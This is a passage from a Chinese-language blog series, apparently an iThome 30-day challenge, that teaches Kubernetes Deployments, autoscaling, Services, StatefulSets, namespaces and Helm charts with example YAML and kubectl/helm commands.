cart \u0026amp; user 。 這兩個 sub charts，又各自會需要 redis ， 所以又分別它們各有一個 sub charts。\n這裡假設的情況 backend 下面的 cart \u0026amp; user 會需要連線共同的 mysql。那我們不可能分別在 cart \u0026amp; user 的 value.yaml 各別去設定 mysql 的位置。所以我在 backend 這層的 values.yaml 就會設定這樣\nglobal: mysql: host: 127.0.0.1:3306 user: root password: test4321 運用到昨天所講的 global keyword。這樣我就能往下設定兩個服務，如果需要像前幾天講的 k8s namespace 介紹，需要拆成不同站台，那我就會依照不同站台設定不同 values.yaml，如下\n這時如果我需要在 QA 站做部署我只需要\n$ helm install backend ./backend -f ./backend/qa-values.yaml 要在 PROD 站做部署\n$ helm install backend ./backend -f ./backend/prod-values.yaml 這樣就很容易做到不同站別，快速部署。\n裡面如果看到 image 都是拉 nginx ，是正常的，這裡純粹就是用 helm create 指令，跟小調整 deployment ，實際上並無法真實使用，純展示。\n總結 導入 helm 的契機是在於，當微服務架構下，服務越拆越多，每個服務都有自己的 deployment，甚至服務之間都有相依問題，這方面的管理相當擾人。再加上我們團隊，剛開始使用 k8s 初期，常常會有人手殘把上面的服務全部刪掉，這時侯重建非常的困難\u0026hellip;.，只要一有人下錯指令，大家就要花很多時間在重建服務上面，嚴重 delay 開發進度。\n有了 helm 協助下，我們不管何時何地，只要是 k8s ，我們可以在任何地方，把我們的服務『迅速』重建起來。而且所有的部署檔案，可以在很有架構下的管理，再搭配 git 策略，可以說是非常強大的工具，強烈推薦有在使用 k8s 的人，一定都要了解一下 helm 這套工具。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day16-how-do-i-design-helm-charts/","summary":"\u003cp\u003e介紹完了，helm value 間的上下層關係，今天來跟大家分享，我實際規劃團隊所使用的 helm 結構。不過會因為一些商業機密問題，內容會有所轉換，但會盡量呈現相近概念讓大家了解。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day16] 我怎麼規劃 helm charts"},{"content":"昨天介紹完，簡易的建立自己的 helm chart 後，今年我們要談談，怎麼使用 helm 裡面的 values 的功能，以及它階層的功能。\n首先我們先看我我設定了一個情境，那個情境為，我要做一個流量計數器，實作方式，我會透過 golang 寫一個 http server ，透過 http request 進來，會使用 redis 做 incr。 這邊有 code。\n再來看看我們要怎麼使用 helm 設計這個結構呢？ 先看下面的資料夾結構\n上面藍色框框的就是我在一個 counter 的 charts 資料夾裡面，又多建立一個 redis charts。 這種做法我把它稱為 sub charts，我把它理解為， counter 需要 depend on redis。\n這裡面教大家一個 helm 預先 render 的小訣竅。\n$ helm template ./redis # Source: redis/templates/deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: redis labels: helm.sh/chart: redis-0.1.0 app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME app.kubernetes.io/version: \u0026#34;1.16.0\u0026#34; app.kubernetes.io/managed-by: Helm spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME template: metadata: labels: app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME spec: serviceAccountName: redis securityContext: {} containers: - name: redis securityContext: {} image: \u0026#34;redis:5.0.5\u0026#34; imagePullPolicy: IfNotPresent ports: - name: redis containerPort: 6479 protocol: TCP resources: {} --- 下略... 透過這個方式可以知道你的 yaml 檔有沒有如你預期的樣子。\n回到主題，我們看到上面目前 redis image 的版本是用 5.0.5版，因為它預設吃到的是 redis 自己的 value.yaml 也就是如圖示\n注意它不是吃到下面那個 value.yaml，是藍色框框指到的 value.yaml\n這時侯我們來實驗一件事情，我們要怎麼透過父層 value.yaml 來修改子層呢？ 我們只要在 counter 的 value.yaml 加入如下\nredis: image: tag: \u0026#34;5.0.4\u0026#34; 這時侯你下\n# 注意 這邊是對 counter render 上面是對 redis render $ helm template ./counter # Source: counter/charts/redis/templates/deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: redis labels: helm.sh/chart: redis-0.1.0 app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME app.kubernetes.io/version: \u0026#34;1.16.0\u0026#34; app.kubernetes.io/managed-by: Helm spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME template: metadata: labels: app.kubernetes.io/name: redis app.kubernetes.io/instance: RELEASE-NAME spec: serviceAccountName: redis securityContext: {} containers: - name: redis securityContext: {} image: \u0026#34;redis:5.0.4\u0026#34; imagePullPolicy: IfNotPresent ports: - name: redis containerPort: 6479 protocol: TCP resources: {} --- 下略... 有沒有注意到？ 我們 redis 的版本被改成 5.0.4 了，由這邊我們知道 value.yaml，會由最父層開始讀取，如果沒有父層，才會取子層。\n這邊補充一下，helm value 裡面有提供一個保留字叫做 global ，因為他的階層關係都是用 helm 的 name 去做定義。所以假設今天我有兩個服務都要透過同一個 mysql 服務，我怎麼用同一個 value.yaml 去控制呢？\nglobal: mysql: address: 127.0.0.1:3306 password: test1234 db: default 那在 template上面描寫就可以如下\ncontainers: - name: example securityContext: {} image: \u0026#34;example\u0026#34; imagePullPolicy: IfNotPresent env: - mysql_address: {{.Values.global.mysql.address}} - mysql_password: {{.Values.global.mysql.password}} - mysql_db: {{.Values.global.mysql.db}} value: \u0026#34;redis:6379\u0026#34; 上面的 helm chart 這邊有 code 可以參考\n明天我會實際分享一下，我們專案的 helm 架構分享。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day15-helm-values/","summary":"\u003cp\u003e昨天介紹完，簡易的建立自己的 helm chart 後，今年我們要談談，怎麼使用 helm 裡面的 values 的功能，以及它階層的功能。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day15] helm values 介紹"},{"content":"昨天大致介紹了 helm 的一些基礎知識，跟為什麼要用 helm ，我們今天就來實際使用一下，怎麼編寫自己的 helm 模板。\nUse 如果有照著昨天的方式，應該已經安裝 helm 指令，首先\n$ helm create redis-test $ ls Chart.yaml charts templates values.yaml 就會看到自動生成這些檔案，我們從 template 資料夾進去，會看到一個 deployment.yaml，我們打開後它，會發現它是不是跟我們前幾天寫的 deployment.yaml 很像 ? 只是它在很多可以抽換的參數導入模板語法，像這樣{{...}}，我們找到 30 行開始，把他修改成如下\nhelm 是用 golang 撰寫的，所以他是使用 golang templete 的方式\ncontainers: - name: {{ .Chart.Name }} securityContext: {{- toYaml .Values.securityContext | nindent 12 }} image: \u0026#34;{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}\u0026#34; imagePullPolicy: {{ .Values.image.pullPolicy }} ports: #這邊替他取名為 redis - name: redis # port 改成 6379 containerPort: 6379 protocol: TCP # 把下面 livenessProbe \u0026amp; redinessProbe 先刪掉 再來打開 services.yaml\napiVersion: v1 kind: Service metadata: name: {{ include \u0026#34;redis-test.fullname\u0026#34; . }} labels: {{- include \u0026#34;redis-test.labels\u0026#34; . | nindent 4 }} spec: type: {{ .Values.service.type }} ports: - port: {{ .Values.service.port }} targetPort: 6379 protocol: TCP # 這裡改成 redis name: redis select;r: {{- include \u0026#34;redis-test.selectorLabels\u0026#34; . | nindent 4 }} 最後我們回到上一層資料夾目錄找到 value.yaml\nreplicaCount: 1 image: # 這裡改成 redis repository: redis pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. # 抓取 5.0.5版 tag: \u0026#34;5.0.5\u0026#34; imagePullSecrets: [] nameOverride: \u0026#34;\u0026#34; fullnameOverride: \u0026#34;\u0026#34; serviceAccount: # Specifies whether a service account should be created create: true # Annotations to add to the service account annotations: {} # The name of the service account to use. # If not set and create is true, a name is generated using the fullname template name: \u0026#34;\u0026#34; podAnnotations: {} podSecurityContext: {} # fsGroup: 2000 securityContext: {} # capabilities: # drop: # - ALL # readOnlyRootFilesystem: true # runAsNonRoot: true # runAsUser: 1000 service: type: ClusterIP # service 改成 6379 port: 6379 接下來只要下\n$ helm install -n default redis-test ./redis-test -f ./redis-test/values.yaml NAME: redis-test LAST DEPLOYED: Tue Sep 22 11:03:21 2020 NAMESPACE: default STATUS: deployed REVISION: 1 NOTES: 1. Get the application URL by running these commands: export POD_NAME=$(kubectl get pods --namespace default -l \u0026#34;app.kubernetes.io/name=redis-test,app.kubernetes.io/instance=redis-test\u0026#34; -o jsonpath=\u0026#34;{.items[0].metadata.name}\u0026#34;) echo \u0026#34;Visit http://127.0.0.1:8080 to use your application\u0026#34; kubectl --namespace default port-forward $POD_NAME 8080:80 就完成了一個簡單的 redis 服務部署。 上面指令有一個 -f 後面可依照情況帶入不同的 value.yaml，可能會依據站別不同，而需要不同版本，這時只要輕鬆去切換不同的 value，就可以很輕鬆部署在不同的環境。\n這時侯你下 helm ls 就能看到剛剛部署上去的列表，如果要刪除，只要下 helm uninstall redis-test，就可以完成刪除動作。\n上面所有範例完整 code 我有放在 github，請自行取用。\n明天我們來聊聊 helm template value 繼承關係。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day14-who-to-write-your-helm/","summary":"\u003cp\u003e昨天大致介紹了 helm 的一些基礎知識，跟為什麼要用 helm ，我們今天就來實際使用一下，怎麼編寫自己的 helm 模板。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day14] 怎麼撰寫 helm template"},{"content":"昨天介紹了為什麼要用 helm ， 今天就來進入，怎麼安裝 helm 。\nInstall 首先我們要先安裝 helm 的 cli 工具。\n$ brew install helm 因為筆者用的 MacOS ，有需要更多安裝方式，詳情請見官網\nUse 接下來我們試著線上安裝的方式，明天我們會介紹，怎麼撰寫自己的 helm\n$ helm repo add bitnami https://charts.bitnami.com/bitnami 先把線上 repo 加入你的 helm repo list 裡面，再來就是安裝\nhelm install my-redis bitnami/redis 這時侯很神奇的東西就出現了。\n$ kubectl get pods NAME READY STATUS RESTARTS AGE my-redis-master-0 1/1 Running 0 5m17s my-redis-slave-0 1/1 Running 0 5m17s my-redis-slave-1 1/1 Running 0 4m54s 已經安裝好 my-redis 的相關東西。如果要夠過 helm 檢視安裝過什麼，可以像下面這樣\n$ helm list NAME NAMESPACE\tREVISION\tUPDATED STATUS CHART APP VERSION my-redis\tdefault 1 2020-09-21 08:46:17.313436 +0800 CST\tdeployed\tredis-11.0.0\t6.0.8 最後如果要移除這個 app ，可以像\n$ helm uninstall my-redis release \u0026#34;my-redis\u0026#34; uninstalled 從上面可以很簡單的發現 helm ，把部署方式封裝抽象起來，讓你在部署時不用管那些繁雜的 yaml ，當然 helm 更強大的地方不只在這裡，它可以讓那些 yaml模板化，帶入你想要的參數，這樣就可以滿足昨天所說的，依照站別(DEV、QA、PROD)，可以更改不同的 mysql 位址。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day13-how-to-install-helm/","summary":"\u003cp\u003e昨天介紹了為什麼要用 helm ， 今天就來進入，怎麼安裝 helm 。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day13] 怎麼安裝 helm  ?"},{"content":"今天來跟大家介紹 k8s 生態鏈裡面，我個人認為很好用的一個工具，也是 Helm ，那到底 Helm 是什麼？ 為什麼需要它，讓我們看下去。\n我們先架設一個情境，今天我要部署一個公告服務，那首先我會需要一個 service\nkind: Service apiVersion: v1 metadata: name: my-service spec: type: ClusterIP selector: app: announcement ports: - protocol: TCP port: 80 targetPort: 80 那當然我們會需要一個 Deployment\napiVersion: apps/v1 kind: Deployment metadata: name: announcement-deployment labels: app: announcement spec: replicas: selector: matchLabels: app: announcement template: metadata: labels: app: announcement spec: containers: - name: announcement image: announcement env: - name: MYSQL_ACCOUNT value: root - name: MYSQL_PASSWORD value: TEST1234 - name: MYSQL_ADDRESS value: 127.0.0.1:3306 ports: - containerPort: 80 不知道大家有沒有注意到，上面我們導入了 env。實務上，我們寫好的服務會因應不同站別(DEV、QA、PROD)而有不同的 DB，那如果像我前天天文章有提到的 namespace 實務分享，這樣子的架構下，我們是否要準備三個實體的 Deployment 檔案？如果未來這個 Deployment 需要調整修改，我們就需要須改三次，這聽起來就有軟體設計裡面所講的壞味道吧？\n更何況我們所謂的系統怎麼可能只為了公告服務而使用 k8s 呢？ 大家可以想像一下像 PCHOME、MOMO 這類大型商城，如果你用微服務來設計它你會設計多少服務呢？我隨便舉一下，如果我來設計至少會有購物車、會員服務、金流管理服務\u0026hellip;.，那講到這裡各位有發現問題了嗎？ 每個服務都需要自己的 Deployment、Services，假設每個服務又要拆成三個站別(DEV、QA、PROD)，那你所要管理的yaml檔就是\nPCHOME、MOMO 只是筆者拿來舉例，它們實際架構怎樣，背後有沒有運用 k8s，筆者並不清楚。\n服務數量 * 2 (Deployment、Service) * 3\n這總數會隨著你拆的微服務粒度拆的越細，數量會越恐怖，到最後就會需要有專人來維護這些數量龐大的服務，而且還很容易出錯。\n這就是我們要導入 helm 的原因。這邊先簡單介紹為什麼要使用 Helm，後面幾天，我會再詳細介紹它更多的好處，最後還會跟大家介紹我們公司導入 helm 後所受益的事情。\n如果不想當一個 yaml 工程師，就讓我們期待一下接下來幾天的介紹。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day12-why-helm/","summary":"\u003cp\u003e今天來跟大家介紹 k8s 生態鏈裡面，我個人認為很好用的一個工具，也是 Helm ，那到底 Helm 是什麼？ 為什麼需要它，讓我們看下去。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day12] 為什麼要使用 helm ?"},{"content":"前面介紹了 k8s 的一些基礎知識，今天來跟大家示範一下，如果要實際部署一個 application 的實際範例。\n先來 golang 的 sample code\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/ping\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Hello World\u0026#34;) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 這是一個簡單 http server\n再來撰寫一個 Dockerfile 製作 image\nFROM golang:1.11.2-alpine WORKDIR /helloworld ADD . /helloworld RUN cd /helloworld \u0026amp;\u0026amp; go build EXPOSE 8080 ENTRYPOINT ./helloworld 接下 build image\ndocker build -t {yourname}/helloworld . docker run --rm -p 8080:8080 -d {yourname}/helloworld 可以先做測試看看\n$ curl http://127.0.0.1:8080/ping Hello World% 再來我們要把 image 推到 publid register ，這邊選 dockerhub\ndocker push {yourname}/helloworld 接下來我們撰寫 Deployment \u0026amp; service\napiVersion: apps/v1 kind: Deployment metadata: name: first-hellworld-deployment labels: app: first-helloworld spec: replicas: 3 selector: matchLabels: app: first-helloworld strategy: type: RollingUpdate rollingUpdate: maxSurge: 1 maxUnavailable: 1 minReadySeconds: 5 template: metadata: labels: app: first-helloworld spec: containers: - name: first-helloworld #如果上面沒有自己嘗試，這邊可以用我已經上傳好的 smaple image 直接使用 image: syhlion/helloworld ports: - containerPort: 8080 --- kind: Service apiVersion: v1 metadata: name: first-helloworld spec: type: ClusterIP selector: app: first-helloworld ports: - protocol: TCP port: 8080 targetPort: 8080 後面你可以透過 port-foward 測試看看 curl 是不是正常嚕\n$ kubectl --kubeconfig ~/.kube/k3s.yaml port-forward svc/first-helloworld 8080:8080 再夠過 curl 就完成測試嚕\n$ curl http://127.0.0.1:8080/ping Hello World% 上述所有的 sample code，我有另外上傳的我的 github 上，有興趣的可以自行 clone 回來使用。\n這樣我們終於完成了ㄧ個簡單 k8s 簡易介紹，明天我們來介紹，當服務一堆時，又有因應 dev、qa、prod，我們要怎麼管理這些 yaml 檔。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day11-how-to-deploy-first-application-in-k8s/","summary":"\u003cp\u003e前面介紹了 k8s 的一些基礎知識，今天來跟大家示範一下，如果要實際部署一個 application 的實際範例。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day11] 怎麼部署你第一個 application 到 k3s 裡面"},{"content":"今天來介紹 namespace ， 這是 k8s 設計出來抽象的 virtual cluster ， 可以應用的層面很廣，下面我們就來依依說明。\nnamespace 可以應用在不同的商業情境、不同的開發團隊，讓一個實體的 k8s cluster，可以切出幾個虛擬的 cluster。\nkubectl --kubeconfig ~/.kube/k3s.yaml get namespace NAME STATUS AGE default Active 8d kube-system Active 8d kube-public Active 8d kube-node-lease Active 8d Namespace 特點 在同一個 K8s 中，每個 Namespaces 的名稱都是要獨特的 當一個 Namespaces 被刪除時，在該 Namespace 裡的所有物件也會被刪除 可以透過 Resource Quotas 限制一個 Namespaces 所可以存取的資源 資源限制 apiVersion: v1 kind: Namespace metadata: name: test-namespace --- apiVersion: v1 kind: ResourceQuota metadata: name: compute-quotas namespace: test-namespace spec: hard: requests.cpu: \u0026#34;1\u0026#34; requests.memory: 1Gi limits.cpu: \u0026#34;1\u0026#34; requests.memory: 10Gi 實務分享 夠過上面的設定就能限制住各個 namespace 硬體資源的控制。\n這邊跟大家分享一下，我服務公司的 namespace 架構的討論。\n我們實體的 k8s 架設了三份，分成 dev、qa、prod。然後每個專案在三個站都會有獨立 namespace。雖然這樣的設定比較花錢 (三套 k8s)，但是因為 k8s 本身也是會有需要升級的問題，如果用一個站台依照 dev、qa、prod 去切換 namespace的話，k8s 只要一升級，同時影響的範圍會很大。所以最終我們決定採取拆三套才能保障真正的隔離乾淨。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day10-what-is-namespace/","summary":"\u003cp\u003e今天來介紹 namespace ， 這是 k8s 設計出來抽象的 virtual cluster ， 可以應用的層面很廣，下面我們就來依依說明。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day10] k8s namespace 介紹"},{"content":"今天要來介紹什麼是 Statefulset ，一般我們前面進行透過 Deployment 部署的 POD，他都是 stateless ， statefulset 跟 Deployment 的差別就在於它對對每一個 POD 產生固定的識別資訊，不會因為 POD 重啟而有所變動，所掛載的硬碟也都可以持續使用。\n那到底什麼時侯應該使用 Statefulset ?\n需要持久性儲存，不因為 POD 重啟而需要重新設定硬碟給它。 這邊先給一個標準的 redis statefulset 設置\napiVersion: apps/v1 kind: StatefulSet metadata: name: redis spec: selector: matchLabels: app: redis serviceName: \u0026#34;redis\u0026#34; replicas: 1 template: metadata: labels: app: redis spec: containers: - name: redis image: redis:5.0.4 command: [\u0026#34;redis-server\u0026#34;, \u0026#34;--appendonly\u0026#34;, \u0026#34;yes\u0026#34;] ports: - containerPort: 6379 name: web volumeMounts: - name: redis-aof mountPath: /data volumeClaimTemplates: - metadata: name: redis-aof spec: accessModes: [ \u0026#34;ReadWriteOnce\u0026#34; ] storageClassName: \u0026#34;gp2\u0026#34; resources: requests: storage: 1Gi 目前筆者 local 環境 multipass + k3s ，暫時無法實作出 local pvc，所以暫時無操作示範\n照上面的 yaml 去部署相關檔案，應該會出現如下所示\n$ kubectl --kubeconfig ~/.kube/k3s.yaml get pods NAME READY STATUS RESTARTS AGE redis-0 1/1 Running 2 5d17h 那我們需要去部署一個 headless service，用來搭配 Statefulset，\napiVersion: v1 kind: Service metadata: name: redis labels: app: redis spec: ports: - port: 6379 name: web # 這邊跟一般 service 不同的重點在這，要把 clusterIP 設定為 None clusterIP: None selector: app: redis 這樣就完成了一個有狀態的 redis 設定。\n大家有興趣可以去嘗試看看，另外部署一個無狀態的 redis，然後分別對這兩個 redis 設定資料，然後去 delete pods，看看 pod 重啟後，資料是不是都還在。\n下面附上無狀態的 redis 設定檔，讓大家嘗試看看。\napiVersion: apps/v1 # 這裡改回 Deployment kind: Deployment metadata: name: redis spec: selector: matchLabels: app: redis serviceName: \u0026#34;redis\u0026#34; replicas: 1 template: metadata: labels: app: redis spec: containers: - name: redis image: redis:5.0.4 command: [\u0026#34;redis-server\u0026#34;, \u0026#34;--appendonly\u0026#34;, \u0026#34;yes\u0026#34;] ports: - containerPort: 6379 name: web --- kind: Service apiVersion: v1 metadata: name: redis spec: type: ClusterIP selector: app: redis ports: - protocol: TCP port: 6379 targetPort: 6379 ","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day9-what-is-statfulset/","summary":"\u003cp\u003e今天要來介紹什麼是 Statefulset ，一般我們前面進行透過 Deployment 部署的 POD，他都是 stateless ， statefulset 跟 Deployment 的差別就在於它對對每一個 POD 產生固定的識別資訊，不會因為 POD 重啟而有所變動，所掛載的硬碟也都可以持續使用。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day9] k8s statefulset 介紹"},{"content":"今天進入到 service ，大家可以回想一下，我們前幾篇所講到的 k8s 最小部署單位是 pod ，但是 pod 又有 replica ， 那到底他要怎麼識別要把 request 導進去哪個 pod呢？ 這就是services 所負責的工作。\nServices k8s services 也可以想成是 pod 的 loadbalance，下面來看一下架構圖\n由上面圖可以看到，不管任何服務集群，要存取另一個服務，都要透過 service。假設有一個 client 需要透過 A 服務拿取資料，但是 A 服務又需要相依 B 服務的資料，這時，他並不是 A 服務的 POD 直連 B 服務的 POD ，而是需要透過 B 服務的 service 才能存取到 B 服務的 POD。所以有一點要注意，不管從外面進來的存取，或是內部服務互相存取，都要記得！都是透過 service 才能把流量導進來。\n這邊補充一下，一群 POD ，實務上就是所有相同行為的 application，所以實務上不存在一個 service 往後導向兩個行為完全不同的 POD。\n這邊開始，我們用前幾天的 nginx 幫他設定一個 service.yaml\nkind: Service apiVersion: v1 metadata: name: my-service spec: # type 有四種 ClusterIP, NodePort, LoadBalancer, ExternalName # 預設是 ClusterIP type: ClusterIP # 選擇帶有 \u0026#34;app=nginx\u0026#34; 的 pod selector: app: nginx ports: - protocol: TCP port: 80 # 此為 Pod 對外開放的 port number targetPort: 80 這樣就完成了一個 service 的設定\n可以透過\n# 這句是指 port-foward services ， 另外如果要看單個 POD 的運行狀況 可以下 get pods 後 port-forward [podname]，來做單 pod 運作。 $ kubectl --kubeconfig ~/.kube/k3s.yaml port-forward svc/nginx-service 8989:80` Forwarding from 127.0.0.1:8989 -\u0026gt; 80 Forwarding from [::1]:8989 -\u0026gt; 80 然後用瀏覽器開啟 http://127.0.0.1:8989 就能看到 nginx 的畫面了。\nservice 是把流量導進，你實際撰寫服務的重要元件，所以一定要搞懂 service \u0026amp; pod 之間的關係，再次強調，任何東西要存取 POD 都是要透過 service 進來。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day8-what-is-service/","summary":"\u003cp\u003e今天進入到 service ，大家可以回想一下，我們前幾篇所講到的 k8s 最小部署單位是 pod ，但是 pod 又有 replica ， 那到底他要怎麼識別要把 request 導進去哪個 pod呢？ 這就是services 所負責的工作。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day8] k8s Service 介紹"},{"content":"昨天介紹完了，基礎的 Deployment 的應用，今天要來講講實務上 Deployment 的應用方式。\n一般來說，我們都會系統可以高自動化，可以自動做擴展， ex 當 CPU 超過多少就幫我擴展 N 個 POD、當 RAM 超過多少時就增加 POD。\nHorizontal Pod Autoscaler 其實設定的方式很簡單，我們只要透過下面語法就能做到，\n$ kubectl --kubeconfig ~/.kube/k3s.yaml autoscale deployment nginx-deployment --min=5 --max=15 --cpu-percent=70 horizontalpodautoscaler.autoscaling/nginx-deployment autoscaled ## 上面意思為，我最小需求 POD 為 5 個，最大不能超過 15 個，只要 POD CPU使用率超過 70% 就做擴展。所以他啟動時會從 5 個，依照 loading 慢慢往上加。 也可以透過語法檢查目前 HPA 的設定。\n$ kubectl --kubeconfig ~/.kube/k3s.yaml get hpa NAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGE nginx-deployment Deployment/nginx-deployment \u0026lt;unknown\u0026gt;/70% 5 15 10 2m27s 比較好的方式是直接在部署時決定要怎麼 scale 的策略，所以我們修改一下昨天部署過的 yaml 檔\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 # 同時建立 3 個 nginx 的 pod # replicaset 的效果套用在帶有 app=nginx 的 pod 上 # 必須要與下面的 pod label 有相符合 selector: matchLabels: app: nginx # .spec.template 其實就是 pod 的定義 template: # pod metadata metadata: # 設定給 pod 的 label 資訊 labels: app: nginx spec: # 這邊可以看到，其實跟昨天的 nginx 是一樣的。 containers: - name: nginx image: nginx ports: - containerPort: 80 # 這邊加上資源限制，有了資源限制，後續才好評估超過時要怎麼 scale resources: limits: cpu: 500m requests: cpu: 200m 然後再透過 HPA yaml 就可以達成跟指令一樣的效果\napiVersion: autoscaling/v1 kind: HorizontalPodAutoscaler metadata: name: nginx-deployment spec: scaleTargetRef: apiVersion: apps/v1beta2 kind: Deployment name: nginx-deployment minReplicas: 5 maxReplicas: 15 targetCPUUtilizationPercentage: 70 RollingUpdateStrategy 這個東西，也是在實務上很重要的一環，他可以決定你在更新當下，可以維持多少 POD 是正常運作的。\n我們來看看下面這個設定檔，跟前幾天的有什麼不一樣。\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx strategy: type: RollingUpdate rollingUpdate: # 升級過程中最多可以比原先設定所多出的 pod 數量 ex 下面是指升級過程中 POD 總數可能會變到 4 個(上面設定 replicas 為 3) maxSurge: 1 # 最多可以有幾個 pod 處在無法服務的狀態 ex 下面為最多一個 POD 為不可服務狀態。 maxUnavailable: 1 # 容器內應用程式的啟動時間，Kubernetes 會等待設定的時間後才繼續進行升級流程 (沒設定 POD 完成會直接啟動） minReadySeconds: 5 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx ports: - containerPort: 80 如果不想要 RollingUpdate 可以強制把 strategy.type 設定成 Recreate (就算不填預設是 RollingUpdate)，這樣升級策略就會變成，他會一次把全部 POD 關閉，然後再一次把全部 POD 升級上來。這樣服務就無法做到無中斷更新。\n總結 Deployment 是 k8s 裡面非常重要的元素，這邊只是用了少少的篇幅去介紹幾個我比較常用，以及我覺得入門時應該先學的幾個重點，如果行有餘力，建議還是參考官方的完整參數設定，會更了解 Deployment 的一切。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day7-what-is-deployment-2/","summary":"\u003cp\u003e昨天介紹完了，基礎的 Deployment 的應用，今天要來講講實務上 Deployment 的應用方式。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day7] k8s Deployment 介紹-2"},{"content":"今天進入到 Deployment 他是一個控制 pod \u0026amp; replicaset 的設定方式，前一篇有講到，基本上都是不建議單獨使用 pod 來做部署的動作，接下來我們來看看吧。\nDeploymenet 首先，不囉唆直接先來一個標準的 Deployment範例，把下面的文字存成 nginx-deployment.yaml\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 # 同時建立 3 個 nginx 的 pod # replicaset 的效果套用在帶有 app=nginx 的 pod 上 # 必須要與下面的 pod label 有相符合 selector: matchLabels: app: nginx # .spec.template 其實就是 pod 的定義 template: # pod metadata metadata: # 設定給 pod 的 label 資訊 labels: app: nginx spec: # 這邊可以看到，其實跟昨天的 nginx 是一樣的。 containers: - name: nginx image: nginx ports: - containerPort: 80 接著下 kubectl --kubeconfig ~/.kube/k3s.yaml apply -f nginx-deployment.yaml\n接著做檢查看看 kubectl --kubeconfig ~/.kube/k3s.yaml get pods 就會看到下面回應\nNAME READY STATUS RESTARTS AGE nginx-deployment-d46f5678b-ghjsx 1/1 Running 0 50s nginx-deployment-d46f5678b-zxprl 1/1 Running 0 50s nginx-deployment-d46f5678b-zwrdk 1/1 Running 0 50s 也可以下 kubectl --kubeconfig ~/.kube/k3s.yaml get deployment\n#READY 就緒幾個/總共幾個 #UP-TO-DATE 有幾個 pod 副本已經 onboard #AVAILABLE 目前有多少pod 副本可以運作 #Age pod運行時間 NAME READY UP-TO-DATE AVAILABLE AGE nginx-deployment 3/3 3 3 115s Scale 我們來嘗試看看，怎麼透過 Deployment 去做 scale\n# 設定要擴增10個 $ kubectl --kubeconfig ~/.kube/k3s.yaml scale deployment/nginx-deployment --replicas=10 deployment.apps/nginx-deployment scaled # 檢查pod 數量 $ kubectl --kubeconfig ~/.kube/k3s.yaml get pods NAME READY STATUS RESTARTS AGE nginx-deployment-d46f5678b-ghjsx 1/1 Running 0 8m51s nginx-deployment-d46f5678b-zxprl 1/1 Running 0 8m51s nginx-deployment-d46f5678b-zwrdk 1/1 Running 0 8m51s nginx-deployment-d46f5678b-qwrgt 1/1 Running 0 53s nginx-deployment-d46f5678b-n84gc 1/1 Running 0 53s nginx-deployment-d46f5678b-5w8jg 1/1 Running 0 53s nginx-deployment-d46f5678b-2rv8x 1/1 Running 0 53s nginx-deployment-d46f5678b-9ljzr 1/1 Running 0 53s nginx-deployment-d46f5678b-kdvlg 1/1 Running 0 53s nginx-deployment-d46f5678b-88xpz 1/1 Running 0 53s Deployment revision # 更新一個不存在的版本 $ kubectl --kubeconfig ~/.kube/k3s.yaml set image deployment/nginx-deployment nginx=nginx1.9.2 deployment.extensions/nginx-deployment image updated # 因為版本不存在，所以會卡住，需要強制中斷 $ kubectl rollout status deployments nginx-deployment Waiting for deployment \u0026#34;nginx-deployment\u0026#34; rollout to finish: 5 out of 10 new replicas have been updated... ^C # 可以下這句就可以回復上一個動作。 接下來再重新執行上一句就可以看到正常的狀態。 $ kubectl --kubeconfig ~/.kube/k3s.yaml rollout undo deployment/nginx-deployment deployment.apps/nginx-deployment rolled back 透過以上介紹，我們知道了一些基礎 Deployment 的教學。明天我們來介紹一些實務上 Deployment 的特別設定。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day6-what-is-deployment-1/","summary":"\u003cp\u003e今天進入到 Deployment 他是一個控制 pod \u0026amp; replicaset 的設定方式，前一篇有講到，基本上都是不建議單獨使用 pod 來做部署的動作，接下來我們來看看吧。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day6] k8s Deployment 介紹-1"},{"content":"在本機把 k3s 